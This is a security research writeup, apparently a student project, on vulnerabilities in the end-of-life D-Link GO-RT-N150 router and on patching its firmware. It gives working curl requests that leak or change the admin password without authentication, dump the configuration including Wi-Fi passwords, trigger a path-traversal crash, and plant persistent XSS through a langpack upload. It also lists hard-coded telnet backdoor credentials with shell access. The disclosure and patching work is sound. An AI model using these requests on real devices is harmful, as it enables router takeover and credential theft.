-
Notifications
You must be signed in to change notification settings - Fork 0
D Link GO RT N150 vulnerabilities and firmware modification
According to D-Link End-of-Life Policy (https://www.dlink.com/en/eol-policy) the described device will not receive any bug fixes and security patches from vendor. Because of that I didn't try to report below described vulnerabilities to D-Link before publishing.
The following text is only a result of my exercise and a project for my studies course. I do not guarantee that any of provided patches, tools or code works or are secure.
I hereby inform that any D-Link's firmware contents shown below may be covered with their copyright. It is obtained from their support servers and used here in virtue of quotation right.
HTTP queries will be written as curl commands - cURL is well known tool, which among others support HTTP
One day few years ago I've got a D-Link GO-RT-N150 rev B1 wireless router (https://eu.dlink.com/uk/en/products/go-rt-n150-wireless-n-150-easy-router?revision=deu_revb). While viewing how the web configuration works, I've noticed some strange request from the browser. The following POST query occurred before even logging in:
curl 'http://192.168.0.1/easysetup_cmds.php' --data 'act=adminpsw'
And the response was:
<?xml version="1.0"?>
<adminpsw>
<message>secretpassword</message>
</adminpsw>
Now we know that accessing admin account is really easy thanks to the easy setup feature.
This device has only 2MB flash and 8MB RAM, so unfortunately there is no OpenWrt or other Open Source firmware for it. That's how I began to deliberate how to repair the firmware in this router.
Few years later I've found this unused router again. Relying on an assumption
that there is possibility to disable the Easy Setup feature, I've considered
the config.bin
file exported from router. binwalk
indicated that
the file consists of SEAMA header and gzipped data. The gzipped data turned out
to be simply xml, which we will see a lot in the following sections.
To rebuild the configuration file, it is needed to understand the SEAMA header
structure. Based on my analysis and signature files from binwalk
the structure of SEAMA is (numbers are big-endian here):
Offset | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0x0000 | SEAMA magic (5ea3a417) | Meta size | Data size | Data md5 checksum [0:4] | ||||||||||||
0x0010 | Data md5 checksum [4:16] | Meta ... | ||||||||||||||
... | ... Meta (variable length, null seperated key=value pairs) ... | |||||||||||||||
... | ||||||||||||||||
... | ... Meta | Binary data ... | ||||||||||||||
... | ... Binary data (variable length) |
For config.bin
files meta is constant and binary data is gzipped xml
but this generic structure is also used as a wrapper for the firmware.
Here first two Python scripts were created:
seama.py <infile> [outfile] # verifies SEAMA header and optionally extracts the contents to outfile
devconf.py e[xtract] <infile.bin> <outfile.xml>
devconf.py r[ebuild] <infile.xml> <original.bin> <outfile.bin>
Sadly changing device/features/easysetup/enable
in the xml
configuration to 0 only changes default site in web configuration
and doesn't prevent from using any of the Easy Setup features.
Having opened the device before, I've noticed that the board is quite generic (possibly used for other device models) - there are unused slots for USB, diodes etc. The presence of serial port is quite common in embedded devices. Finding it here was quite straightforward (a great guide about identifying serial ports is available here: http://web.archive.org/web/20190725075032/http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/)
The serial port of the router is powered with 3.3V and USB supplies 5V. An error here may be the cause of an irreversible damage of some circuits. You may follow these steps AT YOUR OWN RISK.
I've used Arduido UNO clone as USB-UART adapter. To achieve that you have to prevent the Atmega 328P from using the serial port in either way:
- connect RESET and GROUND on UNO board
- take the Atmega 328p out of the socket
- program UNO to have pins 0 and 1 (RX and TX) set as input
(source: https://create.arduino.cc/projecthub/PatelDarshil/ways-to-use-arduino-as-usb-to-ttl-converter-475533)
Here is how I've connected 3.3V logic with 5V. The 3.3V output works without any special measures on 5V serial input. The 5V output is reduced with voltage divider.
The default speed of serial connection on this router is 57600 baud. There are many software terminals supporting serial devices. The one I've used is GNU Screen:
screen -L /dev/ttyACM0 57600
The -L
option turns on automatic logging of the whole session
to screenlog.0
file. The device name may differ (depending
on used adapter, system configuration etc.). I also had to add my user
to dialout
group and stop the ModemManager.service
to use
the serial console on my system.
At this point I had working serial connection - the bootlog contains quite a lot of useful data saying more about embedded device software architecture. It turned out that:
- the device boots form U-Boot 1.1.3 bootloader (version similar to this source: https://github.com/8devices/u-boot)
- it uses some modified version of eCos operating system (Is there GPL source code on this device page on D-Link's GPL site https://tsd.dlink.com.tw/?)
The serial console also gives you access to some simple shell - this is not bash or other typical modern shell with arrow keys controlled history, completion, output to file redirection, pipes or even semicolon separation of commands. I didn't even managed to use backspace in this shell (but it works great in u-boot console with exact same hardware setup).
To make the debug information in the serial console even more verbose you may use the following command:
syslog debug ALL on
If you want to disable a recurring debug message printed by some WAN port detection command, use:
syslog debug SHELL off
Knowing that this device won't be patched by D-Link, I decided to try modify the firmware myself. At the time of writing the firmware is available at a vendor server here (please check if link isn't outdated).
A tool really useful for firmware analysis and extraction is binwalk
. The firmware
is wrapped in SEAMA and consists of LZMA compressed kernel binary with uImage
header and LZMA compressed root filesystem. The filesystem itself is RomFS
(from eCos, not to be confused with other romfs)
with added LZMA compression of individual files.
Binwalk is able to extract RomFS since this issue and this commit.
The rootfs
consists mostly of php, shell scripts and xml. Unlike normal Linux
root filesystem it seems to have no binary executable files - all MIPS
code is probably embedded in kernel image. In later steps we will
analyse some of this PHP code.
A really useful tool for unknown binary inspection is strings
form
GNU Binutils. Having kernel
file
in current directory you can browse strings with their offsets in following way
(you can also redirect strings output to file if you aren't used to less/Vim navigation/search):
strings -t x kernel | less
Because the strings are grouped at some point of the binary in a definitely not random order, they can say a lot about available functions or commands without any assembly reversing. E.g. you can easily find help texts of shell commands there.
In the bootlog console was quite interesting line, which I overlooked at first
telnetd star with Alphanetworks/GO-RT-N150_wrgn62 timeout 120
I did't know about telnet access to the device before. And as the timeout suggests few minutes after boot there was another message in the console output appeared:
telnetd Stopped.
So few minutes after each boot there is telnet open with predefined credentials,
which turns out to be common for some other D-Link/Alphanetworks devices.
The password GO-RT-N150_wrgn62
is the signature of router model
possible to find in firmware headers and contents. There is no way to disable
this in web configuration, you are not even informed that your device has such
"remote control feature". Silver lining here is that if I'am not wrong, this open
telnet port is only accessible from LAN, not from the outside network.
You can also try to retrieve signature on similar D-link devices with this request:
curl 'http://192.168.0.1/getcfg.php' --data 'SERVICES=RUNTIME.DEVICE'
You can connect to router with telnet this way:
telnet 192.168.0.1
You may need to hit the telnet escape sequence (Ctrl-] by default) and set mode line
there.
Connected to 192.168.0.1.
Escape character is '^]'.
username:
telnet> mode line
Alphanetworks
Alphanetworks
password:GO-RT-N150_wrgn62
GO-RT-N150_wrgn62
login success
#invlaid command
#
I was logged in to the telnet. But whatever typical shell command
I've tried to say to telnetd
, it was constantly responding with: invlaid command
.
Thanks to kernel strings, I've discovered two commands which are not "invlaid"
for this telnetd: ated
and mfc
. I don't exactly know what is
the ated
command for (some wireless device management?),
but the mfc
command is really interesting:
Usage: mfc {command} [OPTION]
Commands:
init <lan mac> <wan mac> <hw version> <country code> <pin> Init flash
evm <INF> <ATETXFREQOFFSET> <ATETXMODE> <ATETXMCS> <ATETXBW> <ATETXLEN>
<ATECHANNEL> <ATETXANT> <ATETXPOW0>
save ATE wireless parameters
wlan <ssid> <channel> | <get> switch ssid and channel
dump Dump environment variables
test <on|off> turn on/off the test mode
button <reset|wps> Get the button status
led <on|off> Turn on the led.
freset factory reset.
reboot reboot device.
ver dump f/w version.
wantype <static> ipaddr mask gateway dns set wantype static IP.
eeprom <normal|high> set the eeprom value(Austrlia and Brazil is high power.).
cat <filename>
Here is another way to obtain device credentials:
mfc cat /var/passwd
The mfc
command seems to be some manufacturing utility, which can
change some manufacturer assigned parameters. There is also one another
form of mfc
available in telnet console. It is not listed in this
help text, but possible to find in the kernel strings.
mfc cmd <command>
lets you issue any shell command. Unfortunately the output is visible
on the serial console, not on the telnet one, but you can most of things
with embedded PHP parser of xmldbc
, output it to a file and then
read it with mfc cat
.
E.g. this is how you can dump the whole configuration and runtime xml database of the device:
mfc cmd xmldbc -D /var/somefile.xml
mfc cat /var/somefile.xml
Summing up, with telnet you have remote command execution ability on the router (limited only by the timeout). In the path traversal section it will be shown how to remotely reboot the device, which also restarts telnetd.
Most of higher level device configuration, scripts and web panel is written
in some special kind of PHP named "embeded php" in help of it's parser xmldbc
Usage: xmldbc version 3 [OPTIONS]
-h show this help message.
-H show version number.
-v verbose mode.
-g {node path} get value from {node path}.
-s {node path} {value} set {value} in {node path}.
-a {node path} {value} add new node for {node path} with {value}.
-d {file name} dump DOM tree.
-l {XML file} load XML file.
-r {XML file} read XML file.
-w {node path} write the DOM tree from the given node.
-X {node path} delete {node path}.
-S {unix socket} specify unix socket name, default is /var/run/xmldb_sock
-P {ephp file} embeded php parse.
-V {name=value} variable for ephp.
-x {command} set attribute.
-t {tag:sec:command} schedule a timer.
-k {tag} kill timers by tag.
Note:
1. The default behavior is to ignore attribute & runtime nodes
for the dump/read/load function (options d/l/r). The upper case
options D/L/R will include the attribute & runtime nodes.
2. The write function (options 'w') only ignores attribute.
If you want to dump the nodes with attributes,
please use the upper case options 'W'.
There is also an "undocumented" option -O <filename>
which writes script
output to a file. The only place (already found) modifiable in the filesystem
of running device is /var/
directory, which is so separated form RomFS,
that it isn't even visible in ls /
command output.
The PHP code has some comments, which is quite wasteful on device with so small
memory but sometimes useful for it's understanding.
There are even 8 TODO:
comments, which suggest that the firmware wasn't
production ready at it's release time.
There is also /etc/test.php
file which clearly demonstrates that xmldbc
php works but is probably useless for the device.
Here are some unauthenticated commands in web configuration found:
- Get whole configuration (nonblank admin password is replaced in
DEVICE.ACCOUNT
with==OoXxGgYy==
but others, e.g. WLAN password, are present in the response unchanged. Also I've found it present in plain text in other places)
curl 'http://192.168.0.1/getcfg.php' --data 'SERVICES=ACL%2CDDNS4.WAN-1%2CDDNS4.WAN-2%2CDDNS4%2CDEVICE.ACCOUNT%2CDEVICE.EASYSETUP%2CDEVICE.HOSTNAME%2CDEVICE.LAYOUT%2CDEVICE.LOG%2CDEVICE.PASSTHROUGH%2CDEVICE.TIME%2CDHCPS4.LAN-1%2CDHCPS4.LAN-2%2CDHCPS4%2CDMZ.NAT-1%2CDMZ.NAT-2%2CDNS4.LAN-1%2CDNS4.LAN-2%2CDNS4%2CFIREWALL%2CHTTP.WAN-1%2CHTTP.WAN-2%2CHTTP.WAN-3%2CICMP.WAN-1%2CICMP.WAN-2%2CICMP.WAN-3%2CINET.BRIDGE-1%2CINET.LAN-1%2CINET.LAN-2%2CINET.WAN-1%2CINET.WAN-2%2CINET.WAN-3%2CINET%2CINF%2CMACCTRL%2CMULTICAST%2CNAT%2CPFWD.NAT-1%2CPFWD.NAT-2%2CPHYINF.BRIDGE-1%2CPHYINF.LAN-1%2CPHYINF.WAN-1%2CPHYINF%2CPORTT.NAT-1%2CQOS%2CROUTE.DESTNET%2CROUTE.STATIC%2CRUNTIME.CONNSTA%2CRUNTIME.DDNS4.WAN-1%2CRUNTIME.DEVICE%2CRUNTIME.INF.BRIDGE-1%2CRUNTIME.INF.LAN-1%2CRUNTIME.INF.LAN-2%2CRUNTIME.INF.WAN-1%2CRUNTIME.INF.WAN-2%2CRUNTIME.INF.WAN-3%2CRUNTIME.INF%2CRUNTIME.LOG%2CRUNTIME.OPERATOR%2CRUNTIME.PHYINF.ETH-1%2CRUNTIME.PHYINF.ETH-2%2CRUNTIME.PHYINF.ETH-3%2CRUNTIME.PHYINF.WLAN-1%2CRUNTIME.PHYINF.WLAN-2%2CRUNTIME.PHYINF%2CRUNTIME.TIME%2CRUNTIME.TTY%2CRUNTIME.UPNP.PORTM%2CRUNTIME.WPS.WLAN-1%2CRUNTIME.WPS%2CSCHEDULE%2CUPNP.BRIDGE-1%2CUPNP.LAN-1%2CURLCTRL%2CVSVR.NAT-1%2CVSVR.NAT-2%2CWAN%2CWIFI.WDS-1%2CWIFI.WLAN-1%2CWIFI.WLAN-2%2CWIFI'
- ping any address
curl 'http://192.168.0.1/diagnostic.php' --data 'act=ping&dst=192.168.0.123'
curl 'http://192.168.0.1/diagnostic.php' --data 'act=pingreport'
- query DNS
curl 'http://192.168.0.1/diagnostic2.php' --data 'act=dnsquery&dst=example.com'
curl 'http://192.168.0.1/diagnostic2.php' --data 'act=dnsqueryreport'
- change admin password (and wait for someone authorised who saves the configuration)
curl 'http://192.168.0.1/easysetup_cmds.php' --data 'act=_SET_adminpsw=abc'
When some authorised user saves any other configuration in the web interface, it results in query similar to:
curl 'http://192.168.0.1/pigwidgeon.cgi' -H 'Cookie: uid=gfAWVl3y1f' --data 'ACTIONS=SETCFG%2CSAVE%2CACTIVATE'
this command causes the changed configuration being saved to the flash memory with our changed admin password.
The password change will be effective since next device reboot, because the change in xml isn't reflected in /var/passwd
.
- Get some details about device firmware, OS, MAC addresses, model etc.
curl 'http://192.168.0.1/information.php'
The above used getcfg.php
has the following lines:
...
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
...
Here $GETCFG_SVC
is element of user supplied comma separated SERVICES
POST parameter.
There is no other validation, so it is possible to use ../
to execute any php in RomFS
with file name suffix .xml.php
For example following query responds with some UPnP data irregardless of UPNP being disabled
curl 'http://192.168.0.1/getcfg.php' --data 'SERVICES=../../upnpdevdesc/InternetGatewayDevice'
And some other path traversal causes device crash and reboot, which can useful for restarting Alphanetworks telnet. Probably some stack corruption occurs, because the message in the serial console says Except 10: RI
which is MIPS exception "Reserved Instruction - instruction code not recognised"
curl 'http://192.168.0.1/getcfg.php' --data 'SERVICES=../../upnpdevdesc/WFADevice'
Other unauthenticated activity is langpack installation. You may think why it is security flaw. At least it is useful for some social engineering - translate "Enable Remote Management" into something creative 😉.
But there is also more effective way to take advantage of that - XSS. The langpack is stored gzipped on separate flash langpack block, so the XSS can be quite permanent and endure even a firmware update. This query sends a langpack file:
curl 'http://192.168.0.1/tools_fw_rlt.php?ACTION=langupdate' -F 'sealpac=@GORTN150B1_200IT.lng'
And what is the langpack file format? It is MD5 based hash table. When i18n("Sample text")
is called in embedded PHP, it searches for MD5 checksum of "Sample text"
in /var/sealpac/sealpac.slp
The binary structure of langpack is quite clearly visible in binwalk's hexdiff - some regular differing offsets indicating null seperated strings and same 16 byte hashes that turned out to be MD5 hashes:
You can use my script langpack.py
to create langpack file from tab separated translation rows in text file
./langpack.py <translations.txt> <outlangpack.lng> [langcode]
Sample translations.txt
:
Virtual Server Virtual Server<script>alert('XSS')</script>
Restore To Factory Default Settings Fix system problems
Restore Device Fix now!
The following other devices from D-Link possibly share the langpack format:
- GORTN150 rev A1
- GORTN150 rev C1
- GORTAC750 rev A1
- DIR865L rev A1
- DIR815 rev B1
Other newer devices may share similar vulnerabilities (please check that) using other formats, e.g.
- DIR815 rev D1 - gzipped tar with javascript object dictionaries
- other newer routers seem to have squashfs with javascript object dictionaries
To fix the vulnerabilities in embedded PHP myself I needed to reconstruct the RomFS. Here is the reversed structure:
(based on: https://github.com/kaos/ecos/blob/2580ee933ff5bed1f39c18c882f2e1593d980ef6/packages/fs/rom/current/src/romfs.c#L274 and https://github.com/ReFirmLabs/binwalk/issues/232)
I've only implemented replacing files contents, so I didn't changed the (by the way quite simple) directory file structure.
After first rebuild of firmware and successful upload, the system was crashing at every boot (MIPS Except 4: AdEL
).
I overlooked that all the file contents have to be aligned to 32 bytes blocks. Fortunately there is a http server based firmware recovery utility
in bootloader and I managed to reprogram the device with aligned rootfs.
Based on the whole reversed structure I've written scripts useful for modifying files in firmware RomFS. The following script extracts and decompress the RomFS binary from firmware image and rebuilds the image from modified RomFS and original firmware:
firmware.py e[xtract] <infw.bin> <outrootfs.bin>
firmware.py r[eplace] <inrootfs.bin> <originalfw.bin> <outfw.bin>
Use script dlromfsextract.py <inromfs.bin> <outdirectory>
or binwalk
to extract files from RomFS binary.
Then you can modify RomFS with interactive script dlromfsmodify.py <originalromfs.bin>
.
This is how interactive script usage may look like:
> h
Available commands:
l[s] list RomFS modifiable files
m[v] <input modified file> <path in RomFS> read replacing file
w <new RomFs file> write modified RomFS to new file
q quit
i inspect RomFS
> m patch/easysetup_cmds.php htdocs/web/easysetup_cmds.php
Replacing /htdocs/web/easysetup_cmds.php with patch/easysetup_cmds.php
> m patch/infservices.php etc/services/INFSVCS/infservices.php
Replacing /etc/services/INFSVCS/infservices.php with patch/infservices.php
> m patch/diagnostic.php htdocs/web/diagnostic.php
Replacing /htdocs/web/diagnostic.php with patch/diagnostic.php
> m patch/diagnostic2.php htdocs/web/diagnostic2.php
Replacing /htdocs/web/diagnostic2.php with patch/diagnostic2.php
> m patch/getcfg.php htdocs/web/getcfg.php
Replacing /htdocs/web/getcfg.php with patch/getcfg.php
> m patch/tools_fw_rlt.php htdocs/webinc/js/tools_fw_rlt.php
Replacing /htdocs/webinc/js/tools_fw_rlt.php with patch/tools_fw_rlt.php
> m patch/defaultvalue.xml etc/defnodes/defaultvalue.xml
Replacing /etc/defnodes/defaultvalue.xml with patch/defaultvalue.xml
> m patch/information.php htdocs/web/information.php
Replacing /htdocs/web/information.php with patch/information.php
> m patch/firmversion.php htdocs/web/firmversion.php
Replacing /htdocs/web/firmversion.php with patch/firmversion.php
> m patch/postxml.js htdocs/web/js/postxml.js
Replacing /htdocs/web/js/postxml.js with patch/postxml.js
> m patch/templates.php htdocs/webinc/templates.php
Replacing /htdocs/webinc/templates.php with patch/templates.php
> w newromfs.bin
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
LZMA 9.22 beta : Igor Pavlov : Public domain : 2011-04-18
Writing modified RomFS to newromfs.bin
> q
Here is the list what can be done to incapacitate the vulnerabilities discovered by modifying some rootfs files:
- in
htdocs/web/easysetup_cmds.php
- remove the whole
if (substr($_act_,0,5)=="_SET_")
block - remove
$adminpsw = get("x","/device/account/entry:1/password");
line - change
echo "\t<message>".$adminpsw."</message>\n";
toecho "\t<message></message>\n";
- in
etc/services/INFSVCS/infservices.php
remove lines
$sign = fread("s","/etc/config/image_sign");
startcmd("telnetd -u Alphanetworks -p ".$sign." -t 120\n");
- in
htdocs/web/diagnostic.php
,htdocs/web/diagnostic2.php
,htdocs/web/getcfg.php
andhtdocs/webinc/js/tools_fw_rlt.php
wrap the whole first if-else clause in
if($AUTHORIZED_GROUP == 0){
//...
}
-
you may want to change default (factory) configuration in
etc/defnodes/defaultvalue.xml
file e.g.:- change
XML_ROOT/device/features/easysetup/enable
to 0 (changes default web configuration site to "non-easy") - change all
XML_ROOT/inf/upnp/count
to 0 andXML_ROOT/inf/upnp/entry
to empty tag (disable UPnP) - change
XML_ROOT/wifi/entry/ssid
to some non-default - change
XML_ROOT/wifi/entry/wps/enable
to 0 (disable WPS)
- change
-
you may want to make
htdocs/web/information.php
empty -
wrap whole if clause in
htdocs/web/firmversion.php
in
if($AUTHORIZED_GROUP == 0){
//...
}
- add line
if (navigator.cookieEnabled) document.cookie = "uid="+COMM_RandomStr(10)+"; path=/";
to function Login
from Authenticate.prototype
in htdocs/web/js/postxml.js
(line 55?).
This changes uid cookie before each login (the default is to generate cookie if it isn't present)
- in
htdocs/webinc/templates.php
add logout button (for example indiv.headercontainer
):
<input type="button" value="Logout" onclick="BODY.Logout();" style="float:right;"/>
I've managed to obtain flash layout (from some debug messages on serial when reading it):
block offset limit size
loader 0x000000 0x034000 0x034000
ubconf 0x030000 0x031000 0x001000
wlconf 0x034000 0x038000 0x004000
devdata 0x038000 0x040000 0x008000
devconf 0x040000 0x050000 0x010000
upgrade 0x050000 0x1f0000 0x1a0000
langpack 0x1f0000 0x200000 0x010000
I've found method to dump these flash blocks and send them via TCP but not the whole upgrade block
(because of size a dump file doesn't fit in a limited available RAM space).
On a PC connected to the router (here 192.168.0.5
computer IP is assumed) run utility script for receiving data listen8000.py
. Data will be saved in current directory with file names received0.bin
, received1.bin
etc.
In serial console (or with telnet's mfc cmd
) issue following commands (change devdata to any other block name):
flash read -f /var/dump -n devdata
httpc -d 192.168.0.5:8000 -p TCP -i eth1 -f /var/dump
rm /var/dump
I don't know MIPS assembly so I didn't touched kernel code. Maybe It is possible to recompile eCos for this device and find differences in the D-Link version?
Sadly because of poor security of PHP code, we can assume that also the binary code isn't flawless.